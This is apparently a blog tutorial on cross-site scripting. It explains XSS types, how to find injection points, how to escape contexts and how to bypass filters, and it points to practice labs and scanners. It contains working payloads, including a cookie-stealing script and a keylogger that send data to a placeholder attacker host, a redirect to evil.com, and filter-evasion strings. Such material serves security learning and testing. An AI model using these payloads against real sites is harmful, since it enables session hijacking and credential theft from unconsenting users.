Post 5: Cross-Site Scripting (XSS)
Weaponizing the Browser Against the User
Cross-Site Scripting (XSS) is one of the most misunderstood yet most common web vulnerabilities. It allows attackers to inject malicious scripts into web pages viewed by other users, often leading to session hijacking, defacement, phishing, or stealing credentials.
This guide walks through everything from basic XSS detection to writing custom payloads for real-world attacks.
Table of Contents
- What is XSS?
- Types of XSS
- How to Identify XSS
- Writing and Testing Payloads
- Escaping Contexts
- Stealing Data with XSS
- Bypassing Filters
- Practice Labs and Tools
1. What is XSS?
XSS occurs when an application takes user input and reflects it back to the browser without proper sanitization or encoding, allowing attackers to inject JavaScript.
Impacts range from:
- Session cookie theft
- Keylogging
- CSRF execution
- Redirecting to malicious sites
- DOM manipulation and data exfiltration
2. Types of XSS
| Type | Description |
|---|---|
| Reflected | Payload is in the URL or request, executed immediately when the page loads |
| Stored | Payload is stored in the database and delivered to future users |
| DOM-based | The vulnerability is in client-side JavaScript, not the server response |
Example:
Reflected
http://target.com/search?q=<script>alert(1)</script>
Stored
Input your payload in a comment field, then see it executed when others load the page.
DOM
JS like document.location.hash is used without sanitization:
document.write(location.hash);
Visit:
http://target.com/page.html#<script>alert(1)</script>
3. How to Identify XSS
Start by injecting payloads into:
- URL parameters
- Search boxes
- Form fields (comments, feedback, name)
- Cookies
- HTTP headers (User-Agent, Referer)
Classic Test Payload:
<script>alert(1)</script>
If this pops an alert box, the input is not being escaped.
4. Writing and Testing Payloads
Basic:
<script>alert('XSS')</script>
HTML-embedded:
<img src=x onerror=alert(1)>
Event handlers:
<div onmouseover=alert(1)>Hover me</div>
Href-based:
<a href="javascript:alert(1)">Click me</a>
Use Burp Suite Repeater to inject and replay payloads.
5. Escaping Contexts
Understand where your input appears:
- Inside a tag:
<input value="USER_INPUT"> - In JS context:
var user = "USER_INPUT"; - Inside HTML body:
<div>USER_INPUT</div>
Break out with:
" onmouseover="alert(1)
';alert(1);//
</script><script>alert(1)</script>
6. Stealing Data with XSS
Once confirmed, you can move beyond alerts.
Steal cookies:
<script>fetch('http://yourhost/log?c='+document.cookie)</script>
Keylogger:
<script>
document.onkeypress = function(e) {
fetch('http://yourhost/log?key='+e.key);
}
</script>
Redirect user:
<script>window.location='http://evil.com'</script>
7. Bypassing Filters
Common evasion techniques:
- Double encoding:
%3Cscript%3Ealert(1)%3C/script%3E
- Case variations:
<ScRipT>alert(1)</ScRipT>
- Inline JS:
<svg onload=alert(1)>
- Broken tags:
<scr<script>ipt>alert(1)</script>
If angle brackets are filtered, try:
" onerror="alert(1)
8. Practice Labs and Tools
Labs:
- PortSwigger Web Security Academy (Free, excellent)
- TryHackMe: XSS, OWASP Top 10
- HackTheBox: Boxes with XSS components
- bWAPP, DVWA: Practice platforms with XSS labs
Tools:
- XSStrike: Automated XSS scanner
python3 xsstrike.py -u "http://target.com/page?param=test"
- DalFox: Fast and modern XSS scanner
dalfox url "http://target.com/page?param=test"
- Burp Suite: Repeater and Intruder are ideal for manual XSS testing
XSS Checklist
| Step | Description |
|---|---|
| Test payload | <script>alert(1)</script> |
| Try event handlers | onerror, onload, onclick, etc. |
| Use different tags | <img>, <svg>, <iframe>, etc. |
| Check all inputs | Forms, URLs, headers, cookies |
| Try context escapes | Break out of quotes, tags, or JS |
| Automate later | After manual confirmation |
Coming Up Next
Post 6: File Upload Vulnerabilities
We’ll go deep into:
- Bypassing extension filters
- Uploading web shells
- Content-Type tricks
- Real-world evasion techniques
